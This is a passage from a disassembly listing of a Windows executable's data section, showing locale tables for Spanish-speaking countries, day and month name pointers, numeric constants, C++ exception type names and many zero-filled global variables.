		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4F5345
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 525345h, 438720h, 524550h, 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 535345h, 438714h, 475241h, 303538h, 0
a1252_21	db '1252',0
		align 4
a0_0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd 554345h, 303538h, 0
a1252_22	db '1252',0
		align 10h
a4_0		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8_0		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 595345h, 4386FCh, 595255h, 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 5A5345h, 4386F0h, 595250h, 303538h, 0
a1252_25	db '1252',0
		align 4
word_452314	dw 0C0Ch, 0C1Ah, 1007h,	436h, 80Ch, 42Dh, 403h,	100Ch
					; DATA XREF: sub_430790+34r
		dw 810h, 81Dh
off_452328	dd offset aAmerica	; DATA XREF: sub_42FDA0+9Co
					; "america"
		dd offset locret_415355
		dd offset aBritain	; "britain"
		dd 524247h, 438944h, 4E4843h, 43893Ch, 455A43h,	438934h
		dd 524247h, 438924h, 524247h, 43891Ch, 444C4Eh,	438910h
		dd 474B48h, 438904h, 4C5A4Eh, 438900h, 4C5A4Eh,	4388F4h
		dd 4E4843h, 4388E8h, 4E4843h, 4388DCh, 495250h,	4388D4h
		dd 4B5653h, 4388C4h, 46415Ah, 4388B8h, 524F4Bh,	4388A8h
		dd 46415Ah, 43889Ch, 524F4Bh, 438888h, 4F5454h,	438964h
		dd 524247h, 438878h, 524247h, 438868h, 415355h,	438960h
		dd 415355h
off_4523E0	dd offset aAmerican	; DATA XREF: sub_42FDA0+67o
					; "american"
		dd 554E45h, 438D50h, 554E45h, 438D3Ch, 554E45h,	438D30h
		dd 414E45h, 438D28h, 424C4Eh, 438D1Ch, 434E45h,	438D18h
		dd 48485Ah, 438D14h, 49485Ah, 438D0Ch, 534843h,	438CF8h
		dd 48485Ah, 438CE4h, 534843h, 438CD0h, 49485Ah,	438CBCh
		dd 544843h, 438CACh, 424C4Eh, 438C98h, 554E45h,	438C8Ch
		dd 414E45h, 438C7Ch, 4C4E45h, 438C70h, 434E45h,	438C5Ch
		dd 424E45h, 438C50h, 494E45h, 438C40h, 4A4E45h,	438C34h
		dd 5A4E45h, 438C1Ch, 534E45h, 438C00h, 544E45h,	438BF4h
		dd 474E45h, 438BE8h, 554E45h, 438BDCh, 554E45h,	438BCCh
		dd 425246h, 438BBCh, 435246h, 438BA8h, 4C5246h,	438B98h
		dd 535246h, 438B88h, 414544h, 438B74h, 434544h,	438B60h
		dd 4C4544h, 438B50h, 534544h, 438B40h, 494E45h,	438B30h
		dd 535449h, 438B24h, 524F4Eh, 438B10h, 524F4Eh,	438AFCh
		dd 4E4F4Eh, 438AE4h, 425450h, 438AD0h, 535345h,	438AC0h
		dd 425345h, 438AB0h, 4C5345h, 438A9Ch, 4F5345h,	438A88h
		dd 435345h, 438A6Ch, 445345h, 438A5Ch, 465345h,	438A48h
		dd 455345h, 438A34h, 475345h, 438A20h, 485345h,	438A10h
		dd 4D5345h, 438A00h, 4E5345h, 4389ECh, 495345h,	4389DCh
		dd 415345h, 4389C8h, 5A5345h, 4389B8h, 525345h,	4389A4h
		dd 555345h, 438994h, 595345h, 438980h, 565345h,	438970h
		dd 465653h, 438968h, 534544h, 438964h, 474E45h,	438960h
		dd 554E45h, 43895Ch, 554E45h
off_4525E8	dd offset off_4525F0	; DATA XREF: sub_42E860+70w
					; sub_42E860:loc_42E901w ...
		align 10h
off_4525F0	dd offset aSun		; DATA XREF: sub_42E860:loc_42E901o
					; .nsp0:off_4525E8o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset dword_438DA8+34h
		dd offset dword_438DA8+30h
		dd offset dword_438DA8+2Ch
		dd offset dword_438DA8+24h
		dd offset dword_438DA8+10h
		dd offset dword_438DA8+8
		align 10h
dword_4526A0	dd 2Eh,	0		; DATA XREF: sub_42F1E0+EEo
					; .nsp0:off_4526A8o
off_4526A8	dd offset dword_4526A0	; DATA XREF: sub_42F510+D4w
					; sub_42F510+F6o ...
off_4526AC	dd offset dword_4EFC04	; DATA XREF: sub_42F510+E2w
off_4526B0	dd offset dword_4EFC04	; DATA XREF: sub_42F510+F1w
		dd offset dword_4EFC04
		dd offset dword_4EFC04
		dd offset dword_4EFC04
		dd offset dword_4EFC04
		dd offset dword_4EFC04
		dd offset dword_4EFC04
		dd offset dword_4EFC04
		dd 2 dup(7F7F7F7Fh)
off_4526D8	dd offset off_4526A8	; DATA XREF: sub_42F1E0:loc_42F2C9r
					; sub_42F1E0+F8r ...
		align 10h
dword_4526E0	dd 2 dup(0)		; DATA XREF: sub_4344A0+6o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_452840	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4344A0+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_4529A0	dd offset off_439020	; DATA XREF: .nsp0:off_439048o
					; .nsp0:00439174o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_4529B8	dd offset off_439020	; DATA XREF: .nsp0:off_439060o
					; .nsp0:004390A4o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_4529D8	dd offset off_439020	; DATA XREF: .nsp0:off_4390B0o
					; .nsp0:004390F4o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_4529F8	dd offset off_439020	; DATA XREF: .nsp0:off_439100o
					; .nsp0:00439144o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_452A18	dd offset off_439020	; DATA XREF: .nsp0:off_439180o
					; .nsp0:004391BCo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42DDD0
		align 8
dword_452A38	dd 2 dup(0)		; DATA XREF: sub_401317+C8o
dword_452A40	dd 2 dup(0)		; DATA XREF: sub_401317+62o
dword_452A48	dd 0			; DATA XREF: sub_40141B+38Co
					; sub_401CC1+725o ...
		dd 5 dup(0)
dword_452A60	dd 0			; DATA XREF: sub_401CC1+8AAr
					; sub_414492+60r
		dd 2D9h	dup(0)
dword_4535C8	dd 0			; DATA XREF: sub_401CC1+562Ar
					; sub_401CC1+5724r ...
		dd 7Fh dup(0)
dword_4537C8	dd 0			; DATA XREF: sub_40A7FD+41w
					; sub_40A938+40w ...
dword_4537CC	dd 0			; DATA XREF: sub_40A7FD+47w
					; sub_40A938+46w ...
dword_4537D0	dd 0			; DATA XREF: sub_40A7FD+52w
					; sub_40A938+3Ar ...
dword_4537D4	dd 0			; DATA XREF: sub_401317+Cr
					; sub_4019E1+B9w ...
dword_4537D8	dd 0			; DATA XREF: sub_40A938+75r
					; sub_40AB19+2Aw ...
dword_4537DC	dd 0			; DATA XREF: sub_40141B+3D8w
					; sub_40141B+450w ...
byte_4537E0	db 0			; DATA XREF: sub_4019E1+91o
					; sub_401CC1+5578r ...
		align 4
		dd 79Bh	dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: .nsp0:00451F30o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: .nsp0:00451F38o
		dd 73Bh	dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .nsp0:off_44EFB0o
		dd 37C0h dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: .nsp0:00452274o
		dd 3FFFh dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: .nsp0:00452090o
		dd 7D3Eh dup(0)
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: .nsp0:off_440DFCo
		dd 27Fh	dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: .nsp0:004520F0o
		dd 8000h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .nsp0:off_44F144o
		dd 3CBEh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: .nsp0:00451FBCo
		dd 0BFh	dup(0)
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: .nsp0:004522A8o
		dd 1BFh	dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: .nsp0:004521F8o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: .nsp0:00452114o
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: .nsp0:004522A0o
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: .nsp0:00451F04o
					; .nsp0:00451F0Co
		dd 3B81h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .nsp0:off_44E72Co
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)		; DATA XREF: .nsp0:004521A0o
		db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: .nsp0:00451F88o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: .nsp0:00452098o
		dd 2C60h dup(0)
dword_4E05C8	dd 0			; DATA XREF: sub_401317+FDw
					; sub_40A7FD+13o ...
dword_4E05CC	dd 0			; DATA XREF: sub_40141B+3Dw
					; sub_401CC1:loc_404214r ...
dword_4E05D0	dd 0			; DATA XREF: sub_40141B:loc_4018F3o
dword_4E05D4	dd 20h dup(0)		; DATA XREF: sub_40141B+48Fo
					; sub_40141B+529o ...
dword_4E0654	dd 10h dup(0)		; DATA XREF: sub_40141B+4A5o
dword_4E0694	dd 24h dup(0)		; DATA XREF: sub_40141B+4BCo
dword_4E0724	dd 0			; DATA XREF: sub_40141B+4B0w
					; sub_40141B+540w ...
dword_4E0728	dd 0			; DATA XREF: sub_40141B+4CFw
		dd 3 dup(0)
byte_4E0738	db 0			; DATA XREF: sub_401B49+28r
					; sub_401B49+30o
		align 4
byte_4E073C	db 0			; DATA XREF: sub_40141B:loc_40197Dr
					; sub_40141B+570o
		align 10h
dword_4E0740	dd 0			; DATA XREF: sub_40141B+586o
dword_4E0744	dd 0			; DATA XREF: sub_40141B+598o
dword_4E0748	dd 0			; DATA XREF: sub_40141B+4DDw
					; sub_40141B+4F4r ...
dword_4E074C	dd 0			; DATA XREF: sub_40141B+494w
					; sub_401CC1+820r
dword_4E0750	dd 0			; DATA XREF: .nsp0:0043A268o
dword_4E0754	dd 0			; DATA XREF: .nsp0:0043C69Co
dword_4E0758	dd 0			; DATA XREF: sub_40141B+24Ao
dword_4E075C	dd 0			; DATA XREF: sub_401CC1+7018o
dword_4E0760	dd 0			; DATA XREF: sub_401CC1+1E73o
dword_4E0764	dd 0			; DATA XREF: sub_401CC1+1A21o
dword_4E0768	dd 0			; DATA XREF: sub_401CC1+3B18o
dword_4E076C	dd 0			; DATA XREF: sub_401CC1+539Do
dword_4E0770	dd 0			; DATA XREF: sub_408F54+44Dw
					; sub_408F54+491r
dword_4E0774	dd 0			; DATA XREF: sub_408F54+65w
					; sub_4175DD+166r
dword_4E0778	dd 0			; DATA XREF: sub_408F54+7B1w
					; sub_408F54+826r ...
dword_4E077C	dd 0			; DATA XREF: sub_408F54+97Ew
					; sub_408F54+9E9r ...
dword_4E0780	dd 0			; DATA XREF: sub_408F54+930w
					; sub_408F54+9B9r ...
dword_4E0784	dd 0			; DATA XREF: sub_408F54+433w
					; sub_408F54+481r
dword_4E0788	dd 0			; DATA XREF: sub_408F54+971w
					; sub_408F54+9E1r ...
dword_4E078C	dd 0			; DATA XREF: sub_408F54+318w
					; sub_408F54+36Dr ...
dword_4E0790	dd 0			; DATA XREF: sub_408F54+3B5w
					; sub_41897B+11Er
dword_4E0794	dd 0			; DATA XREF: sub_408F54+325w
					; sub_408F54+375r ...
dword_4E0798	dd 0			; DATA XREF: sub_408F54+366w
					; sub_416BCB+ADr
dword_4E079C	dd 0			; DATA XREF: sub_408F54+500w
					; sub_40EBF0+115r ...
dword_4E07A0	dd 0			; DATA XREF: sub_408F54+72w
					; sub_408F54+D2r ...
dword_4E07A4	dd 0			; DATA XREF: sub_408F54+923w
					; sub_408F54+9ACr ...
dword_4E07A8	dd 0			; DATA XREF: sub_408F54+34Cw
					; sub_408F54+38Dr ...
dword_4E07AC	dd 0			; DATA XREF: sub_408F54+7FFw
					; sub_408F54+852r
dword_4E07B0	dd 0			; DATA XREF: sub_408F54+24Bw
					; sub_408F54+296r ...
dword_4E07B4	dd 0			; DATA XREF: sub_408F54+7F2w
					; sub_408F54+84Ar ...
dword_4E07B8	dd 0			; DATA XREF: sub_408F54+B3w
dword_4E07BC	dd 0			; DATA XREF: sub_408F54+80Cw
					; sub_408F54+85Ar ...
dword_4E07C0	dd 0			; DATA XREF: sub_408F54+4F3w
					; sub_408F54+676r ...
dword_4E07C4	dd 0			; DATA XREF: sub_408F54+58w
					; sub_408F54+CAr ...
dword_4E07C8	dd 0			; DATA XREF: sub_408F54+8DAw
					; sub_40AA45+16o ...
dword_4E07CC	dd 0			; DATA XREF: sub_401CC1:loc_403C4Er
					; sub_408F54+A3Bw ...
dword_4E07D0	dd 0			; DATA XREF: sub_408F54+A6w
					; sub_408F54+F2r
dword_4E07D4	dd 0			; DATA XREF: sub_408F54+426w
					; sub_408F54+479r
dword_4E07D8	dd 0			; DATA XREF: sub_408F54+59Cw
					; sub_40B6A2+20r ...
dword_4E07DC	dd 0			; DATA XREF: sub_408F54+964w
					; sub_408F54+9D9r
dword_4E07E0	dd 0			; DATA XREF: sub_408F54+58Fw
					; sub_408F54+6FAr
dword_4E07E4	dd 0			; DATA XREF: sub_408F54+9B2w
dword_4E07E8	dd 0			; DATA XREF: sub_408F54+AF6w
dword_4E07EC	dd 0			; DATA XREF: sub_408F54+7A4w
					; sub_408F54+813r
dword_4E07F0	dd 0			; DATA XREF: sub_408F54+1B3w
					; sub_416138+15r
dword_4E07F4	dd 0			; DATA XREF: sub_408F54+93Dw
					; sub_408F54+9C1r ...
dword_4E07F8	dd 0			; DATA XREF: sub_408F54+332w
					; sub_408F54+37Dr ...
dword_4E07FC	dd 0			; DATA XREF: sub_408F54+33Fw
					; sub_408F54+385r ...
dword_4E0800	dd 0			; DATA XREF: sub_408F54+652w
					; sub_4102D1+D0r
dword_4E0804	dd 0			; DATA XREF: sub_401317+1Dr
					; sub_401317+23r ...
dword_4E0808	dd 0			; DATA XREF: sub_408F54+45Aw
dword_4E080C	dd 0			; DATA XREF: sub_408F54+98Bw
					; sub_408F54+9F1r ...
dword_4E0810	dd 0			; DATA XREF: sub_401000+51r
					; sub_408F54+258w ...
dword_4E0814	dd 0			; DATA XREF: sub_408F54+7Fw
					; sub_408F54+DAr ...
dword_4E0818	dd 0			; DATA XREF: sub_401CC1+50E1r
					; sub_401CC1+6C58r ...
dword_4E081C	dd 0			; DATA XREF: sub_40141B+8Cr
					; sub_401CC1+48D8r ...
dword_4E0820	dd 0			; DATA XREF: sub_408F54+7CBw
					; sub_408F54+836r
dword_4E0824	dd 0			; DATA XREF: sub_408F54+94Aw
					; sub_408F54+9C9r
dword_4E0828	dd 0			; DATA XREF: sub_408F54+BB4w
					; sub_408F54+BE5r
dword_4E082C	dd 0			; DATA XREF: sub_408F54+272w
					; sub_4162E2+47r
dword_4E0830	dd 0			; DATA XREF: sub_408F54+8C0w
					; sub_408F54+8D4r ...
dword_4E0834	dd 0			; DATA XREF: sub_408F54+BCEw
dword_4E0838	dd 0			; DATA XREF: sub_408F54+27Fw
					; sub_4162E2+4Fr
dword_4E083C	dd 0			; DATA XREF: sub_408F54+51Aw
					; sub_408F54+68Er ...
dword_4E0840	dd 0			; DATA XREF: sub_408F54+7E5w
					; sub_408F54+819r
dword_4E0844	dd 0			; DATA XREF: sub_408F54+172w
					; sub_408F54+1C2r
dword_4E0848	dd 0			; DATA XREF: sub_401CC1+1963r
					; sub_401CC1+529Ar ...
dword_4E084C	dd 0			; DATA XREF: sub_4019E1+C4r
					; sub_401CC1+4962r ...
dword_4E0850	dd 0			; DATA XREF: sub_408F54+50Dw
					; sub_408F54+682r ...
dword_4E0854	dd 0			; DATA XREF: sub_408F54+881w
					; sub_408F54:loc_4097F3w ...
dword_4E0858	dd 0			; DATA XREF: sub_401000+26r
					; sub_408F54+231w ...
dword_4E085C	dd 0			; DATA XREF: sub_401CC1+6BD7r
					; sub_408F54+645w ...
dword_4E0860	dd 0			; DATA XREF: sub_408F54+2D3w
					; sub_408F54+2E7r ...
dword_4E0864	dd 0			; DATA XREF: sub_408F54+359w
					; sub_408F54+395r ...
dword_4E0868	dd 0			; DATA XREF: sub_408F54+BA7w
					; sub_408F54+BDDr
dword_4E086C	dd 0			; DATA XREF: sub_408F54+7BEw
					; sub_408F54+82Er
dword_4E0870	dd 0			; DATA XREF: sub_408F54+18Cw
					; sub_408F54+1D2r ...
dword_4E0874	dd 0			; DATA XREF: sub_408F54+7D8w
					; sub_408F54+83Er
dword_4E0878	dd 0			; DATA XREF: sub_408F54+5CAw
					; sub_408F54+71Ar ...
dword_4E087C	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_408F54+265w ...
dword_4E0880	dd 0			; DATA XREF: sub_408F54+611w
					; sub_408F54+742r ...
dword_4E0884	dd 0			; DATA XREF: sub_408F54+2C6w
					; sub_408F54+2DAr ...
dword_4E0888	dd 0			; DATA XREF: sub_408F54+5EAw
					; sub_408F54+72Ar ...
dword_4E088C	dd 0			; DATA XREF: sub_408F54+3F2w
					; sub_408F54+454r
dword_4E0890	dd 0			; DATA XREF: sub_408F54+199w
					; sub_408F54+1DAr ...
dword_4E0894	dd 0			; DATA XREF: sub_408F54+30Bw
					; sub_408F54+360r ...
dword_4E0898	dd 0			; DATA XREF: sub_408F54+A48w
dword_4E089C	dd 0			; DATA XREF: sub_408F54+582w
					; sub_408F54+6EEr ...
dword_4E08A0	dd 0			; DATA XREF: sub_4019E1+3Er
					; sub_401CC1+4914r ...
dword_4E08A4	dd 0			; DATA XREF: sub_408F54+4Bw
					; sub_408F54+C2r ...
dword_4E08A8	dd 0			; DATA XREF: sub_408F54+419w
					; sub_408F54+471r
dword_4E08AC	dd 0			; DATA XREF: sub_408F54+165w
					; sub_408F54+1BAr ...
dword_4E08B0	dd 0			; DATA XREF: sub_408F54+9A5w
					; sub_408F54+A01r ...
dword_4E08B4	dd 0			; DATA XREF: sub_408F54+62Bw
					; sub_408F54+752r ...
dword_4E08B8	dd 0			; DATA XREF: sub_401B49+D1r
					; sub_401CC1+4977r ...
dword_4E08BC	dd 0			; DATA XREF: sub_408F54+BC1w
					; sub_408F54+BEDr
dword_4E08C0	dd 0			; DATA XREF: sub_408F54+3Ew
					; sub_408F54+BAr ...
dword_4E08C4	dd 0			; DATA XREF: sub_401000+45r
					; sub_408F54+23Ew ...
dword_4E08C8	dd 0			; DATA XREF: sub_408F54+5F7w
					; sub_408F54+732r ...
dword_4E08CC	dd 0			; DATA XREF: sub_408F54+5DDw
					; sub_408F54+722r ...
dword_4E08D0	dd 0			; DATA XREF: sub_408F54+81Fw
					; sub_414A1D+4DCr
dword_4E08D4	dd 0			; DATA XREF: sub_408F54+112w
dword_4E08D8	dd 0			; DATA XREF: sub_408F54+B8Dw
					; sub_408F54+BC8r
dword_4E08DC	dd 0			; DATA XREF: sub_401CC1+2A44r
					; sub_401CC1+5753r ...
dword_4E08E0	dd 0			; DATA XREF: sub_408F54+3FFw
					; sub_408F54+461r
dword_4E08E4	dd 0			; DATA XREF: sub_408F54+440w
					; sub_408F54+489r
dword_4E08E8	dd 0			; DATA XREF: sub_408F54+40Cw
					; sub_408F54+469r
dword_4E08EC	dd 0			; DATA XREF: sub_401B49+89r
					; sub_401CC1+4994r ...
dword_4E08F0	dd 0			; DATA XREF: sub_408F54+1A6w
					; sub_408F54+1E2r ...
dword_4E08F4	dd 0			; DATA XREF: sub_408F54+998w
					; sub_408F54+9F9r ...
dword_4E08F8	dd 0			; DATA XREF: sub_408F54+158w
					; sub_408F54+1ADr ...
dword_4E08FC	dd 0			; DATA XREF: sub_408F54+8Cw
					; sub_408F54+E2r ...
dword_4E0900	dd 0			; DATA XREF: sub_408F54+5B6w
					; sub_408F54+70Ar ...
dword_4E0904	dd 0			; DATA XREF: sub_408F54+AE9w
					; sub_408F54+B05r
dword_4E0908	dd 0			; DATA XREF: sub_408F54+2E0w
					; sub_417572+55r
dword_4E090C	dd 0			; DATA XREF: sub_408F54+224w
					; sub_408F54+279r ...
dword_4E0910	dd 0			; DATA XREF: sub_408F54+B50w
dword_4E0914	dd 0			; DATA XREF: sub_408F54+A92w
					; sub_409F35+D4r
dword_4E0918	dd 0			; DATA XREF: sub_408F54+A85w
					; sub_408F54+A8Cr ...
dword_4E091C	dd 0			; DATA XREF: sub_4019E1+A6r
					; sub_401CC1+48F3r ...
dword_4E0920	dd 0			; DATA XREF: sub_401CC1+48E5r
					; sub_401CC1+6BFEr ...
dword_4E0924	dd 0			; DATA XREF: sub_408F54+B9Aw
					; sub_408F54+BD5r
dword_4E0928	dd 0			; DATA XREF: sub_401CC1+1989r
					; sub_401CC1+52C0r ...
dword_4E092C	dd 0			; DATA XREF: sub_408F54+957w
					; sub_408F54+9D1r ...
dword_4E0930	dd 0			; DATA XREF: sub_408F54+604w
					; sub_408F54+73Ar ...
dword_4E0934	dd 0			; DATA XREF: sub_401317+12r
					; sub_4019E1+D0r ...
dword_4E0938	dd 0			; DATA XREF: sub_408F54+541w
					; sub_408F54+6B2r ...
dword_4E093C	dd 0			; DATA XREF: sub_408F54+ADCw
					; sub_408F54+AFDr
dword_4E0940	dd 0			; DATA XREF: sub_408F54+4E6w
					; sub_408F54+66Ar ...
dword_4E0944	dd 0			; DATA XREF: sub_408F54+ACFw
					; sub_408F54+AF0r
dword_4E0948	dd 0			; DATA XREF: sub_40141B+52r
					; sub_408F54+31w ...
dword_4E094C	dd 0			; DATA XREF: sub_408F54+17Fw
					; sub_408F54+1CAr
		dd 0
dword_4E0954	dd 0			; DATA XREF: sub_408F54+8CDw
					; sub_408F54+8E1r ...
dword_4E0958	dd 0			; DATA XREF: sub_408F54+99w
					; sub_408F54+EAr ...
dword_4E095C	dd 0			; DATA XREF: sub_408F54:loc_409052w
					; sub_408F54+12Bw ...
dword_4E0960	dd 0			; DATA XREF: sub_408F54+126w
					; sub_409B6C+1Cr
dword_4E0964	dd 0			; DATA XREF: sub_408F54:loc_40914Fw
					; sub_409B6C:loc_409BB4r
dword_4E0968	dd 0			; DATA XREF: sub_408F54+1F6w
					; sub_409B6C+50r
dword_4E096C	dd 0			; DATA XREF: sub_40141B+346r
					; sub_401CC1+3CE2r ...
dword_4E0970	dd 0			; DATA XREF: sub_408F54+3C4w
					; sub_409B6C+84r
dword_4E0974	dd 0			; DATA XREF: sub_408F54:loc_4093FEw
					; sub_409B6C:loc_409C1Cr
dword_4E0978	dd 0			; DATA XREF: sub_408F54+4A5w
					; sub_409B6C+B8r
dword_4E097C	dd 0			; DATA XREF: sub_408F54:loc_4096CFw
					; sub_409B6C:loc_409C50r
dword_4E0980	dd 0			; DATA XREF: sub_408F54+776w
					; sub_409B6C+ECr
dword_4E0984	dd 0			; DATA XREF: sub_408F54:loc_4097BAw
					; sub_408F54+895w ...
dword_4E0988	dd 0			; DATA XREF: sub_408F54+890w
					; sub_409B6C+120r
dword_4E098C	dd 0			; DATA XREF: sub_401CC1:loc_4068D3r
					; sub_408F54:loc_40984Ew ...
dword_4E0990	dd 0			; DATA XREF: sub_408F54+8F5w
					; sub_409B6C+154r
dword_4E0994	dd 0			; DATA XREF: sub_401CC1+3CEAr
					; sub_408F54:loc_40996Aw ...
dword_4E0998	dd 0			; DATA XREF: sub_408F54+A11w
					; sub_409B6C+188r
dword_4E099C	dd 0			; DATA XREF: sub_408F54:loc_4099B4w
					; sub_409B6C:loc_409D20r
dword_4E09A0	dd 0			; DATA XREF: sub_408F54+A5Bw
					; sub_409B6C+1BCr
dword_4E09A4	dd 0			; DATA XREF: sub_408F54:loc_4099FEw
					; sub_409B6C:loc_409D54r
dword_4E09A8	dd 0			; DATA XREF: sub_408F54+AA5w
					; sub_409B6C+1F0r
dword_4E09AC	dd 0			; DATA XREF: sub_408F54:loc_409A72w
					; sub_409B6C:loc_409D88r
dword_4E09B0	dd 0			; DATA XREF: sub_408F54+B19w
					; sub_409B6C+224r
dword_4E09B4	dd 0			; DATA XREF: sub_408F54:loc_409ABCw
					; sub_409B6C:loc_409DBCr
dword_4E09B8	dd 0			; DATA XREF: sub_408F54+B63w
					; sub_409B6C+258r
dword_4E09BC	dd 0			; DATA XREF: sub_408F54:loc_409B5Aw
					; sub_409B6C:loc_409DF0r
